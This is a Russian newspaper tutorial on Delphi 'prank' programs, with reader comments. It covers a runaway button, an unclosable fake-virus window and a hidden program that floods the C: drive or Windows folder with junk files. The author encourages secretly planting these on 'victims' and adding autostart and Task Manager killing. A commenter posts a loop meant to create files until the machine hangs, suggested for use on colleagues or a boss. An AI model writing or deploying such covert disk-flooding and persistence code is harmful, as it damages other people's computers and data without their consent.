Прикалываемся с помощью Delphi

(Продолжение, начало в №36)

Привет читателям самой новостной газеты из мира IT-технологий! В прошлой части программ-приколов мы немного разобрались со средой разработки приложений - Borland Delphi, создали шаблон и закрепили полученные знания практикой. Сегодня создадим ещё парочку программ, с помощью которых вы сможете разыграть своих друзей.


Классика жанра

Следующий прикол один из самых распространённых в мире программ-приколов, короче - классика. По-другому её можно назвать ещё опросником, а принцип таков: когда пользователь хочет навести курсор мышки на кнопку, она убегает от него. Вы спросите, при чём тут опросник? Отвечаю: окну и названию программы присваивается имя "Довольны вы своей зарплатой?" и на форме имеются две кнопки с ответами "Да" и "Нет", наивный пользователь хочет нажать "Нет", но не тут-то было, кнопка "Нет" начинает убегать от курсора мышки. Но т.к. этот пример можно где угодно скачать и не напрягаться, мы переделаем его по-своему. Для начала в новой программе измените имя окна (щёлкните один раз по форме и в инспекторе измените свойство "Cаption" на "Окно"), потом на вкладке "Events" найдите событие "OnCloseQuery", создайте обработчик события и внесите в него код:

procedure TForm1.FormCloseQuery(Sender: TObject;
 var CanClose: Boolean);
begin
 // запрещаю программе быть закрытой обычным способом 
 canclose:=false;
end;

Благодаря этому коду наше окно не закроешь, но это только для неопытного пользователя, потому что можно легко вызвать диспетчер задач и закрыть приложение. Далее на вкладке "Standart" найдите компонент "ТLabel" и поставьте его на нашу форму. Потом в объектном инспекторе измените свойство "Cаption" (как у формы) на "Чтобы закрыть окно, нажмите соответствующую кнопку". Затем создайте на форме кнопку (TButton) и так же измените свойство "Cаption" на "Закрыть окно". Дело осталось за малым - заставить кнопку убегать от курсора. Чтобы это сделать, выделите кнопку, зайдите на вкладку "Events", два раза щёлкните рядом с событием "onMouseMove" (это событие выполняется каждый раз, когда курсор наводится на кнопку) и впишите код:

procedure TForm1.Button1MouseMove(Sender: TObject;
 Shift: TShiftState; X, Y: Integer);
var i:integer;
begin
 i:=random(4);
 case i of
  0: Button1.Left:=Button1.Left+Button1.Width;
  1: Button1.Left:=Button1.Left-Button1.Width;
  2: Button1.Top:=Button1.Top+Button1.Height;
  3: Button1.Top:=Button1.Top-Button1.Height;
 end;
 if Button1.Left<0 then Button1.Left:=0;
 if (Button1.Left+Button1.Width)>Form1.Width
  then Button1.Left:=Form1.Width-Button1.Width;
 if Button1.Top<0 then Button1.Top:=0;
 if (Button1.Top+Button1.Height)>Form1.Height
  then Button1.Top:=Form1.Height-Button1.Height;
end;

Сначала мы объявляем переменную "i" типа "integer" (тип целых чисел). Потом мы этой переменной присваиваем случайное число в диапазоне от 0 до 3 (в Delphi отсчёт обычно начинается с нуля). Следующим оператором, в зависимости от значения "i", программа выполняет действия изменения положения кнопки (прибавить/отнять значения левого/верхнего положения кнопки). Затем мы проверяем, где кнопка, чтобы она не ушла за границы формы. Если вы немного знаете английский, то вам не составит труда разобраться в коде. А если нет, то толстый словарь вам в руки! В общем, разбираться и не надо, прикол и так будет работать, только если вы хотите сами изменять код. Для полной завершённости программы надо добавить код по событию кнопки "onClick":

procedure TForm1.Button1Click(Sender: TObject);
begin
 messagebox(0,'Что бы закрыть окно вызовите
  диспетчер задач и выделив программу, нажмите
  "снять задачу" ','Как закрыть окно',0);
end;

Этот код будет подсказкой для тех, кто сумеет нажать на кнопку. Кстати, я после получасовой тренировки смог. Скриншот работы программы можете увидеть ниже. Обратите внимание, где находится кнопка, хотя сначала она была посередине. И есть ещё один нюанс - чтобы нажать на кнопку, достаточно нажать на клавиатуре "Enter". Чтобы убрать эту возможность, надо установить вместо обычной кнопки (TButton) кнопку "TSpeedButton" с вкладки "Additional" и повторить все действия.


Висим?!

Ни для кого не секрет, что Windows - самая частозависаемая система (ещё самая BSOD'шная, ну да ладно), но вот чтобы вирусы в ней висели - это перебор. Вот сейчас и реализуем этот самый "перебор". Нет, вирус делать не будем, т.к. это уже не шутка.

Создайте новую программу. Измените свойство формы "Cаption" на "Вирус (программа не отвечает)" и растяните форму по всему экрану. Далее создайте обработчик события "OnCloseQuery" и занесите в него код из предыдущего примера (нам надо, чтобы программа не закрывалась обычным путём):

procedure TForm1.Button1Click(Sender: TObject);
procedure TForm1.FormCloseQuery(Sender: TObject;
 var CanClose: Boolean);
begin
 // запрещаю программе быть закрытой обычным способом 
 canclose:=false;
end;

Также свойство формы "FormStyle" измените на "fsStayOnTop", чтобы программа отображалась поверх остальных окон. Далее откройте любой графический редактор, например, Paint, и создайте картинку, похожую на кнопку закрытия (белый крест на красном фоне) размером почти с ваш экран, расширение у изображения должно быть .bmp. Затем с вкладки "Additional" поместите на форму компонент "TImage". Дважды щёлкните по нему и в открывшемся окне загрузите заготовленное ранее изображение. Растяните изображение по всей форме. Всё, программа готова. Компилируйте и подсовывайте жертве. Изображение моей программы можете увидеть на рис.:


Не свой винт - не жалко

А в этом приколе мы будем сорить на чужом винте. Вы только представьте: в корневом каталоге диска C не менее 1000 файлов - каково? А если их больше? Вот сейчас и реализуем. Если вы сохранили шаблон, который мы создали в прошлой статье, то самое время им воспользоваться, если нет, то придётся всё делать заново. На новой форме установите два компонента: "TTimer" с вкладки "System" и "TMemo". Потом щёлкните по форме, зайдите на вкладку "Events", нажмите дважды рядом с "OnActivate" и введите код:

procedure TForm1.FormActivate(Sender: TObject);
begin
 ShowWindow(handle, SW_HIDE);
 ShowWindow(Application.Handle, SW_HIDE);
end;

Этими действиями мы скрыли нашу программу. Выделите "TTimer", в свойстве "Interval" установите значение "1" (действие будет выполняться каждую одну тысячную секунды или тысячу действий в секунду). Зайдите на вкладку "Events" объектного инспектора и щёлкните 2 раза напротив единственной процедуры "OnTimer" и в открывшемся окне введите следующий код:

procedure TForm1.Timer1Timer(Sender: TObject);
 var i:LongInt;
begin
 i:=random(999999999);
 memo1.lines.clear;
 memo1.lines.strings[0]:=('файл был создан - ' +
 (IntToStr(i)));
 Memo1.lines.SaveToFile('C:\'+IntToStr(i)+'.dat');
end;

Объясняю. Создаю переменную "i" типа "LongInt". Присваиваю "i" случайное значение в диапазоне от 0 до 999999999. Очищаю поля вода "Memo1" и присваиваю первой строчке (помните, я говорил, что отсчёт начинается с нуля) "файл был создан -" и к этому добавляю значение "i". Затем сохраняю в файл всё, что содержится в "Memo1", поэтому в начале процедуры мы и очищали "Memo1". Вообще, текст может быть любой, например, "запей холодной водой свободное место на диске" и т.д. В завершении работы над программой выделите "Memo1" и измените свойство "Visible" на "True".

У меня программа за 10 секунд создала примерно 650 файлов общим объёмом 2.5 Мб. Мало? А вы представьте, жертва усядется играть в Counter-Strike на час, тогда получится 234 тыс. файлов с объёмом почти 1 Гб. Но вот только когда я тестировал, ресурсы компьютера были свободны, а если играть, то на программу останется мало. Но если жертва не заглядывает к себе на жёсткий диск, то и этого вполне хватит.

Кстати мы указали в программе, что файлы будут создаваться в корневом каталоге диска "С:", но можно и дописать путь. Например - 'C:\Windows', и размер папки "вынь-да-положь" будет расти и расти, как финансы в Microsoft.


Как бы заключение

Все шутки, описанные в этой статье, показывают, как из безобидных свойств и строчек кода можно поднять себе настроение, а может, не только себе (примените шутки в офисе, все беды переведите на страшные вирусы - пусть ваш админ помучается, главное не переборщить).

Хоть шутки простые и их можно запросто отключить волшебным диспетчером задач, но никто не мешает вам их доработать - перечитайте прошлую часть "Прикалываемся с помощью Delphi" и с её помощью добавьте автозагрузку и "автозакрывание" диспетчера задач. Или, например, в шутке со скриншотом можно создать обработчик события движения мыши (как в прошлом примере) и при каждом движении мышки выводить сообщение (messagebox) типа "Я новый вирус, не смей трогать мышку, не то засорю винт" и вставить счётчик (как бы терпение), после заполнения которого будет происходить реальное засорение (код из предпоследнего примера). Или вместо обычного скриншота сделать "синий экран смерти". Вот поиграете у кого-то на нервах.

Но, ещё раз повторю, главное не переборщить - нежелательно, чтобы жертву увозили на машине "скорой помощи". Кроме того, всему есть предел, даже шутке. Хотя, всё в ваших руках!

Читайте "Компьютерные вести", прикалывайтесь и пишите мне на адрес электронной почты, если хотите что-нибудь предложить или знаете отличный способ пошутить.

(Продолжение следует)

Резидент Николай,
[email protected]

Версия для печатиВерсия для печати

Номер: 

39 за 2008 год

Рубрика: 

Азбука программирования
Заметили ошибку? Выделите ее мышкой и нажмите Ctrl+Enter!

Комментарии

Аватар пользователя Sinlos
Интересно позволит ли файловая система 234 тыс файлов. У меня на FAT32 копируется только 25500 файлов (папка не корневая, программа другая)... Мне не удалось (пока) отыскать ограничения файловых систем...
Аватар пользователя Rezident Nik
Файлы не копируются, а создаются функцией сохранения:

создаётся случайное число в определённом диапозоне и сохраняется файл с расширение .dat и его имя это случайное число.

Аватар пользователя Sinlos
>Интересно позволит ли файловая система 234 тыс файлов...

Алгоритм понятен был сразу, комментарий об ограничениях файловых систем. Проверил код с созданием файлов как в статье, компьютер завис после создания 32767 файла (FAT32, кластер 4кб, раздел <8Гб), файлы занимают не более 1 кластера при большем размере файла возможно будет меньше... (NTFS позволяет больше, у меня терпение кончилось после 62000 файлов...)

Код проверял на C++Bulder (Delphi не установлен), привожу код обработчика таймера:

static int n;

static clock_t t;

n++;

int i=random(999999999);

Memo1->Lines->Clear();

Memo1->Lines->Strings[0]="Файл № "+IntToStr(n)+" создан через "+FloatToStr((clock()-t)/CLK_TCK)+" секунд после "+IntToStr(n-1)+" файла";

t=clock();

Memo1->Lines->SaveToFile("G:\\ttt\\"+IntToStr(i)+".dat");//Папка G:\ttt\ должна существовать

Аватар пользователя Андрей Вашкевич
я переделал немного. если ипользовать random, файлы могут заменяться программой (если имя одно и тоже число)

проще посавить счетчик на formcreate))

вот кусок кода:

------------------

procedure TForm1.FormCreate(Sender: TObject);

var

i: longint;

begin

Application.ShowMainForm:=False;

for i:=1 to 999999999 do

begin

Memo1.Lines.Add('Файл '+IntToStr(i)+' ñîçäàí');

Memo1.Lines.SaveToFile('C:\'+IntToStr(i)+'.dat');

end;

end;

----------------

теоретичеки будет создано 999999999 файлов, причем размеры их будут расти. у меня прога сохдает примерно 400 файлов в секунду общим размером 14 МБ.

значит это займет 13999999986 МБ или 13671874 ГБ что естественно не существует. значит комп повиснет 100%

такие программки лучше подсовывать коллегм или злобному боссу ;)

Аватар пользователя Эдуард
>>такие программки лучше подсовывать коллегм или злобному боссу

Зачем такие сложности? Можно пару раз пакетником щелкнуть или в разъеме монитора пару штырьков загнуть.